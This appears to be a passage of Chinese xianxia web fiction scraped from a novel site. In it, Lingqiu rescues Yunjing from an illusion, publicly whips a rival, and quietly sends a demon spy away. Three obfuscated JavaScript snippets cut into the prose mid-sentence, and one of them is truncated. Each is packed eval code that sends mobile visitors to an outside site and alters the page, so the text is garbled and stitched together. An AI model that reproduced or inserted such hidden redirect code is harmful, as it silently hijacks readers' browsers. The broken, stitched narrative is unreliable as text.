她握刀的手那样坚定,看他的眼神那样冷漠,如同过去三年被她抛弃后,太虚宫冰冷的长阶前,最深最黑的噩梦,如同方才密林间初见她时,那道直冲他而来的、冷漠的剑风。 云靖的心被沉沉的绝望拖拽着,彻底坠向无底的深渊。 狐妖怒道:“她会杀你第二次、第三次……直到你彻底死去。你若再不动手,结局只有一个!” 云靖握上剑柄,指节泛白,眼泪一滴滴砸在银光闪闪的剑身上,撞出清脆而细弱的声响。 “我不是……我不是妖……” 他举起剑毫不犹豫地朝自己挥去。可怖的血腥味在空气中弥散开来,头顶的两只耳朵砸到地上,雪白的狐狸毛被鲜血染红。 难以忍受的剧痛排山倒海般袭来,如钻心剜骨。云靖的声音颤抖着,如溺水之人苦苦挣扎:“她不会唤我师兄,不会杀我,不会……” “可你在未来入了太霄辰宫就是会成为她的师兄。” 狐妖冷眼旁观他自残的举动,嘲讽道:“到那时,你是想赌她的仁慈,还是你的命?” 云靖忽然抬起头,眼中布满血丝与泪光,神情绝望至极。 “我杀不了她!” 下一刻,他猛地转身,一剑怒斩向狐妖。 狐妖没有闪避,只是抬眸静静地望着他。那瞬间,没有嘲弄,没有怒火,没有轻蔑,那双金绿色的眼睛深处只有叹惋般沉甸甸的怜悯。 凝霜落下,妖气四散,狐妖的身影如墨染般在雾气中溃散。最后一刻,他深深凝望着云靖,语气不紧不慢,却字字刺骨。 “第一,她会拔得此次阳华仙会的头筹,来日必将一人之下,万人之上。” “第二,你体内妖气封印必会因她而碎,狐妖身份定会为天下正道所不容。” “第三,你与她此生有缘无分,来日她必将你亲手斩于刀下。” “我言尽于此,你好自为之……” 说罢,他的身影彻底化作白雾,散入虚空。 云靖跪倒在地上,手中长剑滴血,泪水早已模糊了视线。 “云靖?” 耳边传来人声,他猛地睁开眼。 胸口像被撕裂般疼痛,意识仿佛还漂浮在幻梦与现实之间。他剧烈喘息着,一时不知身在何处。 眼前,灵秋正跪在他身边,脸上沾满了血,不知是她自己的,还是别人的。 她捧着他的脸拼命摇晃,像是要把他从该死的幻境中晃出来。 凝霜剑斜斜插在远处,更远的地方,昏迷的兰翘安然躺在树下,身边环绕着一圈又一圈护体结界。 “云靖,云靖,你听得见吗?醒醒……醒过来!” 灵秋拍了拍他的脸,嗓音中是从未有过的疲惫与沮丧,见他目光依旧涣散,深深叹出口气,终于站起身子。 她正准备去察看下一个人,手腕却突然被他拽住。 云靖怔怔地看着她,仿佛大梦初醒。 “……凌秋?”他喃喃唤她,像是梦呓。 灵秋愣了一下,快速眨了两下眼睛,仿佛强压下什么情绪,语气却很冷静:“你中了幻境迷障。” 云靖感觉指尖摸到某种粘稠的液体,他低头一看,赫然瞧见灵秋手腕上那道触目惊心的伤口。 她的灵脉上有数道伤口,正在齐齐往外淌血,最重最新的那道伤口上还残留着凝霜的剑气。 刹那间,记忆如潮水般倒灌回脑。 他在幻境之中割下自己的狐耳,拼命挥剑斩向狐妖,所作所为在她眼中分明是疯狂的自残。 不远处,游观青和苏韫珩并排靠在树下,显然已经力竭。他们的眼睛大大睁着,却显示出迷蒙的灰败,显然依旧沉浸在幻境里。 二人周围被人布下密密麻麻的禁锢结界,阵仗大得像是镇压凶兽。 究竟发生了什么已经不言自明。 云靖抬手轻轻抚上灵秋的脸,这才发现她浑身上下都是符咒与刀剑留下的伤痕。 三人之中,只有他一个剑修。 心底有什么东西在这瞬间轰然下坠。 “不……不是这样的。”他急切地撑起身子,却因力竭虚脱一头栽倒,勉强撑住,“我、我不是故意的,对不起,对不起……我刚才看见……我看见你……我、我……” 话说到一半,他便哽咽起来,泪水就像断了线的珍珠,一颗一颗砸在灵秋的手背上。 “对不起……我以为刚刚那是真的……我不知道,对不起……” 他颤抖着替她擦去脸上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15337324|166455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的血污,颤抖着往她手腕上的伤口输送灵力,体内灵脉艰涩的疼痛却比不上心头痛楚的万之一二。 “我伤到你了……我一定是疯了……我怎么能伤你……我怎么敢……” 他的声音越来越小,眼神越发绝望。 嘶吼声,战斗声,几人在幻术中自相残杀的情景仿佛还历历在目。一片混沌中,只有她一个清醒的人,与他们缠斗不休,直至力竭。 “都怪我,都是因为我修为不精,才会被幻境迷惑。” 灵秋看着手腕上缓慢愈合的伤口,冷硬道:“你知道就好。” “我也是第一次碰到这种事。”她淡淡地说:“一回生二回熟,下次就先把你们全部砸晕。” 天知道她刚才有多绝望。只差一点,就一点,她就忍不住要对这三个人痛下杀手了。 可是不行。 她还有更重要的事要办。 杀人也要有个先来后到。 闻人氏、宋氏,她要一个一个,一家一家地杀过去。 灵秋吸了吸鼻子,强迫自己冷静。 她低着头,云靖的心脏猛地一紧。 周遭像是骤然空白了。 他以为她委屈到了极点,强撑着,终于露出一丝破绽。 云靖胸口顿时泛起一阵酸意,像被人持刀亲手剖开。他没有说话,只是颤着手微微倾身,轻轻抱住了她。 这是一个很轻很轻,几乎察觉不出的拥抱。他没用力,只敢将她慢慢拉近怀里,小心翼翼地、生怕碰到她的伤口。 “对不起……”他的声音哑得不像话,“都怪我。” 灵秋整个人如遭雷击般僵在原地,不知作何反应。 他们的关系什么时候好到这种地步了? 整个逍遥派也就只有大师姐和小师妹这样抱过她而已。 她正想从云靖怀中抽开,忽然之间,他的手轻轻抚过她的后背,一下下拍着,如同某种无声的安慰。 他轻轻哄她:“没关系……我知道你很委屈,这件事都怪我,都怪我们,都是我们的错,你要是气不过,我乖乖让你刺回来,多少剑都可以,好不好?” 说着,他挥手召来凝霜,果真摆出一副任打任骂的模样。 灵秋怔在原地。 其实也没那么委屈。 但她实在没想到他居然会愧疚到这种程度。 心脏某处忽然被什么东西轻轻敲打了一下,灵秋安静了几秒,低声说:“你真的,什么肯都听我的?” 云靖一愣:“当然。” 灵秋举起左手,在他眼前活泼地晃了几下:“那你现在就给我把这个莫名其妙的东西解开。” “好。” 云靖吸了一口气,施法解了两人手上的千里同心绳。 灵秋靠在他肩上,畅快地晃了晃手,又道:“除了这件事,你可还愿意听我的话?” “愿意。”云靖点点头。 “那么从今天起,你就是我的仆人。我让你往东,你决不能往西,我要你做什么你就得做什么,不许有二心,更不许有疑议。如何?” 灵秋从他怀中撤出,半眯起眼睛盯着他,片刻,终于得到一句近乎微弱的“好。” 她眉眼一弯,忍不住笑了。 出了魔域十年,在逍遥派过了那么多年亲力亲为的苦日子,还是头一回拥有仆人。 生活真是越过越好了。 灵秋伸手,像揉小狗似的揉了揉云靖的头发:“从现在起,不许再用灵力替我疗伤。” 云靖怔住了:“可是你伤得很重,若不及时医治……” “我说了,不许。” 灵秋打断他,语气平静:“你刚刚才答应了我不能有疑议。” 云靖望着她,像是想到什么,眼神渐渐软得一塌糊涂,连声音都小了几分。 “你是担心我对吗?没关系的,我可以的。” 他垂下眼睛:“还是……你还在生气吗?我刚刚那样……你是不是不想再欠我……” “不是。” 灵秋心道:“要是伤都治好了,上去还怎么在所有人面前卖惨?不卖惨,又怎么能让人心服口服,方便她后续杀人放火呢?” 然而这些话,灵秋是绝对不会告诉云靖的。 她看着他渴望的表情,神色一顿,顺着他的话说,笑道:“我当然是关心你啊。” 很好。 就是这样。 云靖慌乱地低下头,错开了她的目光。 灵秋正松了口气,片刻,又听见他说:“你的裙子皱了,头发也乱了,我可以……” “不必,我觉得这样很好。” 灵秋指了指旁边失去意识的三个人:“我们还是赶紧找路,带着他们上去吧。” 22.貌正行诡众口缄然(1) 万丈崖边,风也静止了。 江芙呆滞地坐在地上,眼睛死死盯着锋利而苍凉峭壁。 “都过了一天一夜了,估计早没救了。” 身后,有人冷不丁地冒出一句无所谓的风凉话,江芙整个人一愣,转身朝他冲去。 “你说什么呢!” 几乎同时,另一边,跪在悬崖边的于风也疾步冲过来。 两人一看,说话的是个宋氏子弟。 于是转瞬间,两道剑气同时怒冲而来,守在闻人双双旁边的宋微澜眼疾手快地飞身上前,挡下攻击。 他怒道:“光天化日,当着神尊的面,你们想杀人吗!?” 于风上前一步,丝毫不避,恶狠狠地揪住宋微澜的衣领:“要是我师弟真的出了什么事,我绝对不会放过你!” 宋微澜用力把衣领从他手中拔出来,冷笑一声:“是我让他跳下去的吗?” 他讥嘲道:“谁不知道,你师弟对那逍遥派的妖女用心不纯,要怪,也只能怪他自己色迷心窍!” 啪! 一记响亮的耳光甩在了宋微澜脸上,带着十足的力度,手掌与皮肤接触发出的声音让在场众人都忍不住纷纷朝这方看来。 “你狗叫什么!”江芙怒喝道:“我师妹与银霜楼少主之间清清白白,毫无干系。要说妖女,你表妹心思恶毒,不择手段,残害我同门,我看她才是名副其实的妖毒之辈!” 宋微澜的脑袋被打得偏过去,他舔了舔口腔,吐出一口血沫,正想开口,啪!又是一记耳光。 江芙瞪着他:“还有你,身为师兄处处偏袒,行事不正,为人不端,与你那师妹简直是天生一对,毒子配妖女,绝配!要是我两个师妹中的任何一个出了事,我敢保证,你宋氏的好日子马上就到头!” “呵。” 耳畔传来一记冷笑,江芙转过头,皱眉看向一侧的于风,只见他抱着剑,鼻尖接连发出冷哼,带着毫不掩饰的讥讽与怒意,针对的人并非宋微澜,而是她。 “真是无情无义。”于风盯着江芙:“当年水境,若非我师弟拼命为你那宝贝师妹当下千年蛟一击,她还能有命活到今日?” 他缓步上前,目光犹似寒锋:“我师弟以命相护,你师妹却屡次爽约,两三句话把他哄得离家万里,如今一见面就一意孤行,害我师弟坠入这万丈崖底。如此相负相欠,到了姑娘这里倒用八个字就轻飘飘地推得一干二净。” 于风愤怒:“逍遥派之人果然薄情寡义!” “你师弟以命相护?” 江芙简直快被气笑了,她轻呵一声,眼眶立刻红了一片,死死盯着于风,怒道:“当年若非我师妹,你师弟早该死了!以我师妹的修为,区区一个千年蛟能耐她何?如果不是你师弟这个拖油瓶,我师妹也不至于……” 她突然一顿,眼神扫过四周,冲着于风,咬牙切齿道:“你师弟就是个害人精!要是他有命上来,你最好仔细管着他,千万别再让他凑到我师妹面前来找晦气!” “你!你敢骂我师弟!” 于风气得牙痒痒,刷一下抽出怀中宝剑,江芙不甘示弱,同样举起手中铁剑。 两人灵力对冲,站在一边幸灾乐祸地看狗咬狗的宋微澜和宋氏子弟被猛地击出数步。 两股力量对峙着,逍遥散人和云正夫妇急急迎上来,江芙和于风就像没看见一样,谁也不愿相让。 “简直是胡闹!” 云正怒喝一声,正欲出手,只听万丈崖畔传来一声啸叫,狂风涌来,吹得天地万物东倒西歪,荡然失色。 飞扬的尘土间,模糊的人形轮廓逐渐浮现。 灵秋抱着兰翘,身上衣裙被血浸透,血迹深深浅浅,一层叠一层,不知受了多少伤。她身侧,云靖艰难地支撑着意志模糊的游观青和苏韫珩,一左一右,狼狈非常。 风停了,两人站定的瞬间,灵秋猛地往前吐出一口鲜血,身侧的云靖立即握上她的灵脉,却被她坚定地挣开。 “师妹!” “师弟!” 江芙和于风立即收剑,飞冲到两人面前,一左一右搀住了各自关心的人。 怀中的兰翘安然无恙。江芙看着灵秋身上深浅不一的伤口,眼泪刷的落下来。 她扫一眼边上的云靖,只见他放下游观青和苏韫珩后,除了肩上的伤还算惨烈,情况比灵秋好上太多,忍不住狠狠甩出一记眼刀。 “他们这是这么了!” 苏氏家主带着人冲上来,把瞳色涣散的苏韫珩和游观青揽进怀里,红着眼眶看向云靖和灵秋。 “幻境迷障。”灵秋道:“他们修为不够,力竭之后陷在里面,还没能出来。” 言罢,身子一颤,再度吐出一口血。 江芙立即扶起她,哭道:“别说了,别说话了,我们这就回去。” 灵秋抬眼扫向前方,只见数位白袍仙尊静立在远处,最中间,赫然站这位面容清癯的白发男人,眉间松纹如古松般苍劲,眼神澄澈似镜,带着能洞察人心般的锐利光芒。 道袍无风自扬,青玉铃铛静静垂在腰间,袖口玄光暗浮,仿佛深藏着亘古的玄机与法则。山石默伏,飞禽不近。他站在那里,不施一术,威压却自然而然地涌向四周,源源不断,令人感到难以自抑的敬畏与仰望。 这样的人,世间唯有一个。 灵秋把兰翘交给霍羽和逍遥散人,脱开江芙的搀扶,迎着威压,一步步,朝着徐悟走过去。 她注意到徐悟静默的目光,冰冷的视线穿过人群,绕过她,直直地落向远处——那里站着许多人,苏氏和银霜楼的人混作一团。 灵秋走到徐悟面前,微微行过一礼,开口道:“逍遥派凌秋恳请神尊主持公道,严惩害我师妹坠崖之人。” “凌秋,你没完了是吧?” 宋微澜冷笑一声,凑过来:“你师妹根本没事!整件事不过是一场误会,神尊是什么人?你也敢在他老人家面前造次?” “误会?” 灵秋转头看向宋微澜,眼神冷得刺人。 她从袖中掏出一张留音符,施法驱动,闻人双双的惨叫立即响彻整个万丈崖。 “是不是你将我师妹推下去的?” “是我!是我!是我……” 灵秋将留音符扔到宋微澜脸上:“闻人双双已亲口承认害我师妹性命,此事绝非误会。若宋公子觉得被人推下万丈崖没什么大不了,那么请你现在站到崖边,我亲手送你下去体验一番。” 她咳嗽一声,吐出一口血,恶狠狠道:“但愿宋公子修为高强,能活着回来。” “你!”宋微澜捏着留音符,胸口剧烈起伏着,半句话也吐不出来。 闻人氏家主走上前,从他手中轻轻抽出那张留音符,神色冷峻道:“凌姑娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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她仰头望着徐悟,眼睁睁地看着他降下一鞭又一鞭,原本高高在上的神威竟在这沉默的不屈中,生出一丝迟疑。 有那么一瞬间,徐悟竟在她的脸上捕获到几分似曾相识的神色。他内心大震,第二十鞭落下,手竟抑制不住地微微发颤。 灵秋撑着地面,缓慢、艰难,却无比坚定地站起来,转身看向身后人群。 风吹过,带起血衣的残角,拂动她额间的碎发,裹挟着血腥味扑向云靖。 灵秋的目光锐利而冷寂,直直扫过人群,带着漠然而俯视的睥睨,叫人不敢逼视。 这二十鞭下去,没人再说得出一句多余的话。 四目相对的瞬间,云靖心底猛然一空。 “第一,她会拔得此次阳华仙会的魁首,来日必将一人之下,万人之上。” “我身为正道魁首,你我注定势不两立,今日我就要为太霄辰宫清理门户,取你性命!” 幻境中的一切犹如潮水般向他涌来。 心里突然泛起一种怪异的情绪。 心疼。 佩服。 还有一丝,令人窒息的惶恐。 妖气……铺天盖地的妖气。那时身体里的剧痛,真实得不像幻觉。 云靖抬起头,视线越过人群,正对上徐悟冷峻的目光。 那眼神就像在看某种冰冷的容器,不掺杂一丝温度,蓦地令他心头一凛。 23.貌正行诡众口缄然(2) “闻人氏双双,阳华仙会期间公然残害同袍,罚废除仙会上场资格,受鞭刑二十,以儆效尤,下不为例。” 徐悟的声音传来,灵秋顿时发出一声冷嘲。 天地静谧,这声嗤笑尤其明显。 她道:“二十?我师妹一条命,就值二十鞭?神尊这是打发谁呢?” 一侧的闻人双双听见“废除上场资格”面色早已惨白,缩在母亲怀中啪嗒啪嗒地掉眼泪。 北方世家与太霄辰宫早有协定,每年选取族中天赋出众的子弟,经过简单的灵脉测试后进入内门。如此容易的选拔方式落到她头上偏偏成了一道难以逾越的关隘。 闻人双双的天赋一点也不出众,甚至称得上平平无奇,她走不通这条路。进入太霄辰宫的方式就只剩下谁都能上去打一打的阳华仙会。 好不容易,好不容易才走到今天。费了那么多心血,一句轻飘飘的“废除资格”就这么斩断了她求仙问道的路。 她不甘心,不甘心! 可偏偏,灵秋根本没有轻易放过她的打算。 宋微澜跳出来,语调有些急:“已经够了,我师妹又不像你,二十鞭对她来说已是极限,你还想怎样!” 灵秋眼神扫过去,他愣了一下,蓦地噤了声。 “滥用私刑,不想也不曾置人于死地,罚二十。谋害同袍,杀心昭然,当罚百倍。” “百倍!?”闻人家主道:“你是想杀了小女吗?” 灵秋不看他,只死死盯着徐悟,咬牙道:“四十鞭,我亲自施刑。算她抵过。否则今日之事传扬出去,众人只会觉得太霄辰宫偏袒氏族,同流合污,于神尊威名没有好处。” “好。”徐悟道:“鞭刑四十,由你亲自执鞭。” “神尊!万万不可啊!”闻人氏夫妇当场跪在地上,求道:“小女修为薄弱,天资愚钝,怎么受得了四十鞭?这是要她的命!” 两人对灵秋道:“凌姑娘,你堂堂……堂堂……一个姑娘家,怎能如此枉顾他人性命?” 灵秋冷眼看着他们:“怎么,你女儿的命是命,我师妹的命就不是命吗?四十鞭已是我让步的极限,若还不允,那么就让她和我师妹一样跳下万丈崖,看看会不会有我师妹那样的运气,被人以命相护,妖毒不侵,毫发无损。” “我愿代替表妹受刑!”宋微澜冲到她面前,深吸口气,沉声道:“我愿意代替她受鞭刑!” “可以啊。”灵秋道:“六十鞭,我亲自。算赏你面子。” 她的目光在他身上来回轻扫,狠道:“你以为我只想找闻人双双一个人的麻烦吗?” 血腥气扑面而来,宋微澜被宋氏的人拉着,微微往后退了两步。 在周遭人复杂的目光中,闻人双双颤颤巍巍地跪在了地上。 天上银鞭带起劲风,吹得她几乎窒息。 灵秋冷漠地驱动着鞭子,将要落手的瞬间,闻人双双看着她,突然艰涩地开口:“我可以受鞭刑,百倍也好千倍也罢,但是取消阳华仙会的资格,我不愿意。” “取消你资格的人不是我。” 啪的一声,符文流转,粗砺的鞭子落在她身上,溅出狰狞的血肉。 “我只是打你而已。” 灵秋冷声道。 话音刚落,又啪啪接连落下两鞭。 闻人双双身子前倾,倏地喷出大口鲜血,整个人不受控制地趴倒在地上。 “住手!住手!” 闻人氏夫人在一侧大喊。 “嚎什么?才三鞭而已。” 灵秋驱动鞭子,继续打在闻人双双背上。每一扬手,牵动自己身上的伤口,鲜血顺着小臂流坠,在她脚边汇聚成一滩小小的红色湖泊。 剧痛牵动着她的神经,闻人双双忍不住发出的惨叫凄厉得像柄利刃,纵情划破她的耳膜。难受的滋味在胸腔炸开,可她半分也舍不得停。 真是畅快。 她的爹娘还在旁边看着吗?还在哭求她住手吗?宋微澜还被宋氏的人死死禁锢住不往前扑吗? 十二……十三……十四…… 一开始是惨叫,后来是痛呼,最后是呻吟,越来越低弱。头发撒乱地粘在汗湿的脸上,绸缎纱裙破破烂烂、被血染红,柔弱的脊背上遍布狰狞的鞭痕,好可怜,好无助。 真让人觉得不忍心。 十五……十六……十七…… “求求你,不要再打了!” 女人冲开丈夫的桎梏,飞奔上前,死死抱住了她的手。 嘶—— 伤口被扯开,好痛,痛得她眼眶一酸。 “求求你,她知道错了,真的知道了,不要再打了,不要再打了!” 华贵的衣摆扫在地上,被和血的泥土弄得很脏,往日叱咤一方的闻人氏夫人,此刻不过是一位在她脚边哀哀低求的母亲。 头顶,弧形的苍穹下,银鞭就像一条巨蟒盘踞在云层里,带起阵阵震人心弦的雷鸣。 啪嗒—— 一滴透明的泪砸在女人的脸上。 闻人夫人惊讶地抬起头,对上那双清冷的眼睛,密密的睫毛下挂着晶莹的液体,一道泪痕沿着那张冷酷的脸延伸,在脸颊的血污中划出一道突兀的痕迹。 有情绪在她眼中闪过,是某种浓烈的不忍。 手上的力道不自觉松了几分。 啪! 银鞭打在地上,溅起数丈高的尘土,血腥夹杂在土腥味中间,大地裂开一道狰狞的缝隙。 执鞭人冷冷地睨着倒地不起的闻人双双,眼角划过一滴晶莹的泪,转身离去。 砰—— 鞭首坠地,发出沉闷的巨响。 灵秋走到江芙身边,一语不发。 逍遥派的人就这么簇拥着她走远了,把所有人一并,抛在脑后。 闻人夫人后知后觉地回过神,飞奔到闻人双双的身边,摸上她的灵脉,灌注灵力。 她脸上还带着一点冰凉的水迹。说好的四十鞭,最后落在地上也只不过轻飘飘的十七次起落。连那人所受的二十鞭也不及。 闻人双双躺在母亲怀中,过了好久,早已干涸的眼眶终于忍不住滚出一滴泪,再也抑制不住,埋首恸哭。 云靖呆呆凝望着灵秋的背影,于风走到他身边,伸手轻按了按他的肩,叹了口气:“送点丹药过去吧。” 多么心软。 云靖偏头看了眼躺在地上、孤零零的银鞭。 倘若有朝一日幻境成真,你是否也会对我剑下留情? 风吹过,一缕魔气飘荡着, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15356765|166455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缠绕上灵秋的指尖。 平江没想到灵秋会主动来找自己。 毕竟他只不过是魔尊焱狰手下再普通不过的一个探子,潜入一方说大不大说小不小的仙门,然后在里面尽职尽责地扮演着逆来顺受的小师弟。 魔域的孩子从小听着太女大将军的故事长大,在平江的印象里,灵秋跟杀人不长眼的魔头没什么两样。虽然他们本来就是魔。 魔域本就人心诡谲,作为魔族,他们不仅食人,还会通过吞噬同类的方式提升修为。平江没吃过人,也没吃过魔,但他见过同族相噬的场景,当天晚上便因惊惧发起高烧。 他们都说,太女大将军最喜欢吞噬同类。所以她的修为才会那样高强。 所以在见到灵秋的第一眼,平江吓得连魔气都险些掩盖不住,泡的比兔子还快。 结果晚上她就找上门来。 他立下血誓才勉强抱住一条命。 老天爷保佑,太女殿下这辈子也别再想起他。 门派叩拜祖师奶的时候,他对着画像狠狠磕了三个头。 祖师奶显然没把他这个卧底放在心上。 因为灵秋再次不请自来,像鬼影一样出现在他身后。 彼时她出入万丈崖,请受二十鞭,整个阳华境的人正对她放过闻人双双这件事议论纷纷。 师兄们啧啧称赞:“凌姑娘真是心软,好人呐。” 刚刚被灵秋威胁着给出一缕魔气的平江瑟瑟发抖。 “反正你在仙门也没什么用,不如顺手帮我个忙。”她嘴上说着帮忙,语气却是分明的命令。 平江小心翼翼:“我会死吗?” 灵秋一笑:“你想死吗?” 平江拼命晃头。 过了三天,人们发现他失足跌进湖里,打捞起来的时候早就咽气了。 人微言轻。在魔族如此,在仙门也是如此。 平江的死被门派当成意外处理。阳华境内受伤死人都是常事,他的死最终也只不过被归结为“修为低微以至于被水淹死。”激起一阵小小的水花。 整个阳华境中真心为他难过的只有当日海棠树下砸了他一脑袋的那个小姑娘。 不过她哭得实在冤枉,因为平江根本没死。 他被灵秋一封信打包给了魔尊身边的宿妄大人。 不知信上写了什么,总之宿妄大人没把他交给魔尊,也没让他回家,就把他留在身边,带着到处走,平时随便给口饭吃。 宿妄大人的话很少,平江整天一个人自言自语,无聊得快疯掉。不过这样的日子依旧比做卧底时的提心吊胆好过多了。 平江暂且安定下来。 听宿妄大人说,阳华境内的试炼开始了。太女殿下又要上场了。 接到消息时,他皱起眉,骂太女殿下不自量力,又吩咐手下探子时刻关注,确保她的安全。 平江这才确定,原来宿妄大人和太女殿下的关系真的很好。 传闻说宿妄大人和太女殿下从无交集。 传闻说太女殿下不近人情,嗜血残忍,有杀神之名。 传闻还说魔尊曾在一夜之间性情大变,弑父杀兄,逼死最爱的芙蓉妃,命众魔君分食她的血肉以增强修为。 平江再也不相信任何传闻了。 24.貌正行诡众口缄然(3) 虚浮的夜晚,一弯焦黄模糊的残月挂在蓝缎子般的天幕中央,空气像一张透明的薄纸,浸透了潮湿的水雾。轻吸一口气,鼻尖粘黏着的都是芙蓉花香。 灵秋站在银霜楼的院子门口,离得很远,一半的影子藏进夜里。 “你以后不要再来找我了。” 依旧是命令的语气,就像几日前不许他消耗灵力替她疗伤时一样。或许是夜色沁人,如今听来,话落进心里却冷得厉害,再无半分温情。 云靖站在原地,安静了片刻,眼中情绪一瞬而过,很快便低下头。 他摆弄着手中的小瓷瓶,轻轻“嗯”了一声:“那以后不送药了。” 灵秋顿时冷下脸:“我不是这个意思。” 云靖眨了眨眼,笑容缓慢地爬上脸庞,语气依旧软得过分:“那以后每天都送。” 言罢,不待她答,走近一步,语气温柔得像撒娇:“今天的药一点也不苦,我做了桂花糕,先吃点东西好不好?” 灵秋往后撤退一步,皱眉道:“我的意思是,从今以后你离我远一点,最好不要再出现在我眼前。” “我不是你的仆人吗?” 云靖垂下眼睫,声音浸润了夜晚的露水,不动声色地观察她的反应。 “是啊,所以你应该听我的话,不是吗?”灵秋挑眉,嘴角扬起嘲弄的弧度,“别以为我会就这么放过你,从今日起,我会把要你做的事用传音符告诉你,不过你要记住,无论是做事,还是别的时候,都要避开我和我师父师姐他们,不能被看见。” 这样一来就不算有接触了吧。 她看着他:“你明白了吗?” 在人间,只有最卑微的仆婢才会像她说的这样竭力避开主人。 云靖怔住,指尖收紧,喑哑道:“你把我当成什么人?” 还能当成什么人? 孽缘加仆人呗。 果然是脑子不好,还得劳她给他清清楚楚地解释一遍。 灵秋道:“你哪来的这么多问题?作为仆人,只需要听话就好,别的不用考虑,明白吗?接下来你要做的就是在尽力避开我的同时做好我要你做的事。你们……我们小时候应该都玩过捉迷藏吧?这就像捉迷藏……” 声音突然哽在喉咙里。 右手闪过一道眼熟的流光,千里同心绳在她腕间挽出一个漂亮到夸张的同心结,散入皮肤,消失在夜色中。 灵秋大惊,不可思议地看向云靖,只见他举起左手朝自己微微一晃,嘴角扬起,露出一个挑衅的笑,眼中有冷光泠泠闪动。 “你做什么!?” 她伸手去扯,什么也抓不到。 “别动。” 突如其来的靠近,呼吸潮潮地喷洒在耳畔,整个人紧跟着一愣。 鼻尖的芙蓉香被铺天盖地的桂花甜覆盖倾倒,余光瞟到那张近在咫尺的脸,漂亮俊美得不像话。 好热。耳尖有些痒,是睫毛轻轻擦过吗? 陌生而酥麻的感觉像蛊虫一样,源源不断地啃咬心脏。灵秋僵硬地眨了两下眼睛,纤长的睫毛在夜色里轻轻颤动。 就这么一刹那的失神,耳后一烫,金色的符阵浸入皮肤,像某种特殊印记的镌刻。 清冷的夜风带不走脸颊上灼热的温度,云靖退开一段距离:“不是要传音吗?不用浪费符纸,从今以后你随时可以找到我,随时都可以和我说话。” 他低笑一声,牙关咬得死紧:“放心,我会很听话的。” 灵秋摸着耳后的同音咒,看着眼前这张糟糕的脸,心跳重得像要跳出胸腔,脑子一片空白。 算了。 伤还没好,改天再打。 她朝他伸出手,没好气道:“给我。” 云靖将小瓷瓶和油纸包的桂花糕递给她,从善如流。 嚓嚓嚓—— 逍遥派的院子里,江芙背对着大门,豆大的汗珠砸在青石板上,浸出深色的水痕。 好闻的桂花香飘过来,她转身,正对上灵秋秀眉紧蹙的脸。 “他以后不会再来了。” 灵秋坐到江芙对面,揉着右手腕,颓丧地一头砸倒在石桌上。 想杀人。 已经准备好要杀人了。 可是最后一刻,必杀清单最末,云靖的名字总是写了又擦。 明明被暗算的人是她,说听话的人却是他。 真是搞不懂。 灵秋舔了舔嘴唇,尝到一丝浅淡的甜香。 看在桂花糕的面子上。 江芙微微一笑,并不答话。 她心想,师妹做事总是很利落。 嚓嚓嚓—— 耳边又响起尖锐的摩擦声,灵秋抬眼一看,江芙还在替自己的铁剑除锈。 逍遥派贫苦,胥阳山荒凉,门派中人无财宝亦少机缘,一贯佩戴的铁剑尽是胥阳山脚打铁匠的得意之作。 铁剑极重,对剑修来说过于累赘,使用寿命又短,极易生锈腐化。 没有多余的银子请人每隔一段时间铸一把新剑,更不想麻烦师父和师妹师弟,所以江芙每晚都趁没人的时候,悄悄替自己的剑除锈打磨。 灵秋是无意间撞见这件事的。 她什么也没说,因为她也没钱,而且同样不想麻烦师父和同门。 她只会静静坐在旁边看着江芙动作,看着她的汗水顺着脸颊,一颗颗地滴落在地上,就像很多次,她跟在她身后偷偷跑出胥阳山,静静看着她屠戮魔族一样。 大师姐是个练剑的好苗子,可惜从未摸到过一把趁手的剑。 说到生锈,世间最能腐蚀修士手中宝剑的莫过于魔族之血。 灵秋记得,眼前的这把铁剑饮过许多魔族的血。 摩擦声停了下来,万籁俱寂中,她看着江芙,忽然突兀地冒出一句:“师姐,妖魔生来便该死,对吗?” 江芙放下手中铁剑,像是想到什么,深吸口气,对她道:“妖聚天地灵气开智化形,有好有坏,与凡人并无区别。而魔族……魔族以人为食,盘踞北方,将人间当作屠宰场般肆意掠杀,所作所为,十恶不赦。身为修士,见到魔族,必诛之。” 话到最后,她的眉头已然紧皱,脸上也泛起怒色。 三百年前,魔尊焱狰即位,魔族食人之风卷土重来,盛行至今。 魔族本就有食人的传统,只是过去千年间历任魔尊严令禁止才不至于为祸人间。 焱狰废除禁令后,食过人的魔自不必说,那些从未食过的,也少不了为了提升修为破戒。毕竟在弱肉强食的魔族,太弱的魔不被仙门斩杀,也注定会被同类吞噬。 魔吃普通人,也吃仙门中人。事实上,魔族最爱的就是身怀灵脉的修士。 人间南北,南边有太霄辰宫坐镇,多剑修,而北边分布各大世家,多符修。与剑修相比,符修的攻击力略逊一筹,对生性嗜血的魔族来说犹如狼入羊群。 是以三百年以来,北边修士深受魔族之害,被生吞活剥的不在少数。世家以外,修士能平安长到成年已是十分难得。 每一年,太霄辰宫会派出不少弟子前往北边除魔,其中就包括历届阳华仙会的优胜者。这些人,即便全是训练有素的剑修,也通常有去无回。 